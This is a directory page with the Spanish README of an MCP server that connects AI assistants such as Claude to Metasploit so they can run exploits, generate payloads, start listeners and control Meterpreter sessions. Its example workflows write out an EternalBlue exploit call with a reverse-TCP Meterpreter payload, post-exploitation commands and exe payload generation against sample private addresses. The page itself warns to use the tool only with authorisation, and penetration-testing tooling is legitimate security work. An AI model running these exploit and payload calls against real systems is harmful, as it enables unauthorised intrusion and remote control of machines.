Skip to main content
Glama

Metasploit MCP Server

by GH05TCREW

Servidor MCP de Metasploit

Un servidor de Protocolo de Contexto de Modelo (MCP) para la integración de Metasploit Framework.

https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1

Descripción

Este servidor MCP conecta modelos de lenguaje extensos como Claude con la plataforma de pruebas de penetración Metasploit Framework. Permite a los asistentes de IA acceder y controlar dinámicamente la funcionalidad de Metasploit mediante herramientas estandarizadas, lo que facilita una interfaz de lenguaje natural para flujos de trabajo complejos de pruebas de seguridad.

Características

Información del módulo

  • list_exploits : busca y enumera los módulos de explotación de Metasploit disponibles
  • list_payloads : busca y enumera los módulos de carga útil de Metasploit disponibles con filtrado opcional de plataforma y arquitectura

Flujo de trabajo de explotación

  • run_exploit : Configurar y ejecutar un exploit contra un objetivo con opciones para ejecutar comprobaciones primero
  • run_auxiliary_module : ejecuta cualquier módulo auxiliar de Metasploit con opciones personalizadas
  • run_post_module : Ejecutar módulos posteriores a la explotación contra sesiones existentes

Generación de carga útil

  • generate_payload : Genera archivos de carga útil usando Metasploit RPC (guarda los archivos localmente)

Gestión de sesiones

  • list_active_sessions : muestra las sesiones actuales de Metasploit con información detallada
  • send_session_command : Ejecuta un comando en una shell activa o una sesión de Meterpreter
  • cease_session : Finalizar forzosamente una sesión activa

Gestión de controladores

  • list_listeners : muestra todos los controladores activos y trabajos en segundo plano
  • start_listener : Crea un nuevo multi/handler para recibir conexiones
  • stop_job : Finaliza cualquier trabajo o controlador en ejecución

Prerrequisitos

  • Metasploit Framework instalado y msfrpcd ejecutándose
  • Python 3.10 o superior
  • Paquetes de Python necesarios (consulte requirements.txt)

Instalación

  1. Clonar este repositorio
  2. Instalar dependencias:
    pip install -r requirements.txt
  3. Configurar variables de entorno (opcional):
    MSF_PASSWORD=yourpassword MSF_SERVER=127.0.0.1 MSF_PORT=55553 MSF_SSL=false PAYLOAD_SAVE_DIR=/path/to/save/payloads # Optional: Where to save generated payloads

Uso

Inicie el servicio RPC de Metasploit:

msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553

Opciones de transporte

El servidor admite dos métodos de transporte:

  • HTTP/SSE (eventos enviados por el servidor) : modo predeterminado para la interoperabilidad con la mayoría de los clientes MCP
  • STDIO (Entrada/Salida estándar) : se utiliza con Claude Desktop y conexiones de tubería directa similares

Puede seleccionar explícitamente el modo de transporte utilizando el indicador --transport :

# Run with HTTP/SSE transport (default) python MetasploitMCP.py --transport http # Run with STDIO transport python MetasploitMCP.py --transport stdio

Opciones adicionales para el modo HTTP:

python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085

Integración de escritorio de Claude

Para la integración de Claude Desktop, configure claude_desktop_config.json :

{ "mcpServers": { "metasploit": { "command": "uv", "args": [ "--directory", "C:\\path\\to\\MetasploitMCP", "run", "MetasploitMCP.py", "--transport", "stdio" ], "env": { "MSF_PASSWORD": "yourpassword" } } } }

Otros clientes de MCP

Para otros clientes MCP que utilizan HTTP/SSE:

  1. Inicie el servidor en modo HTTP:
    python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
  2. Configure su cliente MCP para conectarse a:
    • Punto final de SSE: http://your-server-ip:8085/sse

Consideraciones de seguridad

⚠️ ADVERTENCIA DE SEGURIDAD IMPORTANTE :

Esta herramienta proporciona acceso directo a las capacidades de Metasploit Framework, que incluyen potentes funciones de explotación. Úsela con responsabilidad y solo en entornos donde tenga permiso explícito para realizar pruebas de seguridad.

  • Siempre valide y revise todos los comandos antes de ejecutarlos
  • Ejecutar únicamente en entornos de prueba segregados o con la autorización adecuada
  • Tenga en cuenta que los comandos posteriores a la explotación pueden provocar modificaciones significativas del sistema.

Flujos de trabajo de ejemplo

Explotación básica

  1. Lista de exploits disponibles: list_exploits("ms17_010")
  2. Seleccione y ejecute un exploit: run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})
  3. Lista de sesiones: list_active_sessions()
  4. Ejecutar comandos: send_session_command(1, "whoami")

Post-explotación

  1. Ejecutar un módulo de publicación: run_post_module("windows/gather/enum_logged_on_users", 1)
  2. Enviar comandos personalizados: send_session_command(1, "sysinfo")
  3. Terminar cuando haya terminado: terminate_session(1)

Gestión de controladores

  1. Iniciar un oyente: start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
  2. Lista de controladores activos: list_listeners()
  3. Generar una carga útil: generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
  4. Detener un controlador: stop_job(1)

Opciones de configuración

Directorio de guardado de carga útil

De forma predeterminada, las cargas útiles generadas con generate_payload se guardan en un directorio payloads en su carpeta de inicio ( ~/payloads o C:\Users\YourUsername\payloads ). Puede personalizar esta ubicación configurando la variable de entorno PAYLOAD_SAVE_DIR .

Configuración de la variable de entorno:

  • Ventanas (PowerShell) :
    $env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
  • Windows (Símbolo del sistema) :
    set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
  • Linux/macOS :
    export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
  • En la configuración de Claude Desktop :
    "env": { "MSF_PASSWORD": "yourpassword", "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads" // Only add if you want to override the default }

Nota: Si especifica una ruta personalizada, asegúrese de que exista o de que la aplicación tenga permiso para crearla. Si la ruta no es válida, la generación de la carga útil podría fallar.

Licencia

Apache 2.0

-
security - not tested
A
license - permissive license
-
quality - not tested

hybrid server

The server is able to function both locally and remotely, depending on the configuration or use case.

Proporciona un puente entre los modelos de lenguaje grandes y el marco Metasploit, lo que permite a los asistentes de IA acceder y controlar la funcionalidad de pruebas de penetración a través del lenguaje natural.

  1. Descripción
    1. Características
      1. Información del módulo
      2. Flujo de trabajo de explotación
      3. Generación de carga útil
      4. Gestión de sesiones
      5. Gestión de controladores
    2. Prerrequisitos
      1. Instalación
        1. Uso
          1. Opciones de transporte
          2. Integración de escritorio de Claude
          3. Otros clientes de MCP
        2. Consideraciones de seguridad
          1. Flujos de trabajo de ejemplo
            1. Explotación básica
            2. Post-explotación
            3. Gestión de controladores
          2. Opciones de configuración
            1. Directorio de guardado de carga útil
          3. Licencia

            Related MCP Servers

            • -
              security
              F
              license
              -
              quality
              A demonstration server that allows large language models to perform penetration testing tasks autonomously by interfacing with the Mythic C2 framework.
              Last updated -
              11
              Python
              • Apple
            • -
              security
              F
              license
              -
              quality
              Enables AI assistants to interact with Metabase, providing access to dashboards, questions, databases, and tools for executing queries and viewing data through natural language.
              Last updated -
              JavaScript
              • Apple
            • A
              security
              F
              license
              A
              quality
              A Model Context Protocol server that allows AI assistants to execute and manage JMeter performance tests through natural language commands.
              Last updated -
              2
              27
              Python
            • -
              security
              -
              license
              -
              quality
              A module that enables AI assistants to access and utilize common penetration testing and security tools like Nmap and Metasploit through a simple interface.
              Last updated -
              Python
              GPL 3.0

            View all related MCP servers

            MCP directory API

            We provide all the information about MCP servers via our MCP API.

            curl -X GET 'https://glama.ai/api/mcp/v1/servers/GH05TCREW/MetasploitMCP'

            If you have feedback or need assistance with the MCP directory API, please join our Discord server